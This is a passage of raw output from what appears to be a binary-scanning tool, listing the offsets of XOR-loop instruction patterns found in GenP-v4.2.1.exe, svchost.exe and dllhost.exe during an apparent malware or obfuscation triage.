bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2703296; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2759227; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2766736; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2837888; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2897704; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2924946; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3014231; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3189338; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3292988; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3328760; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3378014; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3404960; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3409364; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3411839; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3433355; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3572523; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3661285; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3662288; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3689977; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3751850; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3857151; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3909087; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4166937; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4260168; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4396692; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4580368; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4661434; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4671555; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4711679; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4737273; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4740555; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4820634; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4908073; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4988581; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 5039858; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 5099820; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 5151751; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 5195838; code bytes = 33c1 Found XOR loop in file "GenP-v4.2.1.exe" at offset 805491; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 1039864; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 1048018; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 1061337; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 1067480; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 1440358; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 1447126; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 1469758; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 1557305; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 1645474; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 1837214; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 1881725; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 1959138; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2063405; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2089419; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2149284; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2272209; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2360515; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2406649; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2454695; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2538030; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2585287; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2609785; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2676414; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2705389; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2886962; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2901533; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2939096; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2961376; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 2998118; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3135680; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3183513; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3192624; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3222887; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3232679; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3251850; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3453964; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3454961; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3484327; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3525049; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3526164; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3555082; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3587450; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3777808; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3826658; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 3917431; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4041653; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4063882; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4252064; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4322074; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4504889; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4515562; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4516001; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4545537; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4724933; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4746960; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4747423; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4878697; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4931152; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4933364; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 4954661; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 5008287; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 5016690; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 5160866; code bytes = 8030 Found XOR loop in file "GenP-v4.2.1.exe" at offset 5212098; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 149285; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 254418; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 405353; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 481599; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 487461; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 932622; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1120584; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1204756; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1214337; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1236007; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1368428; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1383014; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1395508; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1396630; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1417076; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1657412; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1661481; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1712333; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 1800137; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 2004269; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 2079088; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 2228577; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 2331711; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 2354683; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 2385535; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 2428665; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 2495034; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 2544344; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 2576644; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 2578662; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 2674371; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 2696998; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 2779635; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 2861214; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 2876859; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 2880468; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 2921425; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 3029622; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 3050057; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 3354920; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 3444035; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 3487164; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 3500170; code bytes = 30d0 Found XOR loop in file "svchost.exe" at offset 57750; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 85311; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 91550; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 109296; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 163356; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 293626; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 360510; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 382890; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 398591; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 466538; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 480764; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 512553; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 521932; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 543811; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 544396; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 559032; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 580970; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 586071; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 640735; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 654304; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 731548; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 755748; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 767574; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 768787; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 831621; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 849176; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 852784; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 868535; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 954692; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 1019766; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 1078030; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 1084432; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 1108563; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 1118150; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 1211934; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 1224769; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 1232127; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 1291078; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 1310639; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 1589985; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 1748004; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 1780745; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 1821514; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 1855538; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 2065484; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 2071095; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 2154115; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 2241501; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 2300721; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 2406133; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 2452904; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 2583974; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 2588593; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 2659497; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 2681434; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 2685540; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 2712015; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 2769492; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 2776307; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 2960789; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 3082212; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 3233326; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 3248807; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 3252782; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 3272793; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 3290160; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 3299614; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 3327331; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 3371935; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 3436594; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 3502096; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 3576421; code bytes = 33c1 Found XOR loop in file "svchost.exe" at offset 55931; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 89499; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 172030; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 356771; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 359959; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 416396; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 508807; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 579973; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 651710; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 692388; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 703909; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 718428; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 798906; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 798977; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 972874; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1048123; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1136605; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1158128; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1203357; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1220491; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1354192; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1486775; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1599407; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1721388; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1787565; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1793081; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1867154; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1889561; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 1949506; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2094608; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2172587; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2239491; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2278871; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2288486; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2322175; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2342569; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2354971; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2379429; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2396645; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2428013; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2586514; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2699376; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2703131; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2709531; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2723471; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2793332; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2841690; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2878625; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2900828; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 2975620; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 3068028; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 3096093; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 3272821; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 3285180; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 3428586; code bytes = 8030 Found XOR loop in file "svchost.exe" at offset 3486689; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 149285; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 254418; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 405353; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 481599; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 487461; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 932622; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 1120584; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 1204756; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 1214337; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 1236007; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 1368428; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 1383014; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 1395508; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 1396630; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 1417076; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 1657412; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 1661481; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 1712333; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 1800137; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2004269; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2079088; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2228577; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2331711; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2354683; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2385535; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2428665; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2495034; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2544344; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2576644; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2578662; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2674371; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2696998; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2779635; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2861214; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2876859; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2880468; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 2921425; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 3029622; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 3050057; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 3354920; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 3444035; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 3487164; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 3500170; code bytes = 30d0 Found XOR loop in file "dllhost.exe" at offset 57750; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 85311; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 91550; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 109296; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 163356; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 293626; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 360510; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 382890; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 398591; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 466538; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 480764; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 512553; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 521932; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 543811; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 544396; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 559032; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 580970; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 586071; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 640735; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 654304; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 731548; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 755748; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 767574; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 768787; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 831621; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 849176; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 852784; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 868535; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 954692; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1019766; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1078030; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1084432; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1108563; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1118150; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1211934; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1224769; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1232127; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1291078; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1310639; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1589985; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1748004; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1780745; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1821514; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 1855538; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 2065484; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 2071095; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 2154115; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 2241501; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 2300721; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 2406133; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 2452904; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 2583974; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 2588593; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 2659497; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 2681434; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 2685540; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 2712015; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 2769492; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 2776307; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 2960789; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 3082212; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 3233326; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 3248807; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 3252782; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 3272793; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 3290160; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 3299614; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 3327331; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 3371935; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 3436594; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 3502096; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 3576421; code bytes = 33c1 Found XOR loop in file "dllhost.exe" at offset 55931; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 89499; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 172030; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 356771; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 359959; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 416396; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 508807; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 579973; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 651710; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 692388; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 703909; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 718428; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 798906; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 798977; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 972874; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 1048123; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 1136605; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 1158128; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 1203357; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 1220491; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 1354192; code bytes = 8030 Found XOR loop in file "dllhost.exe" at offset 1486775; 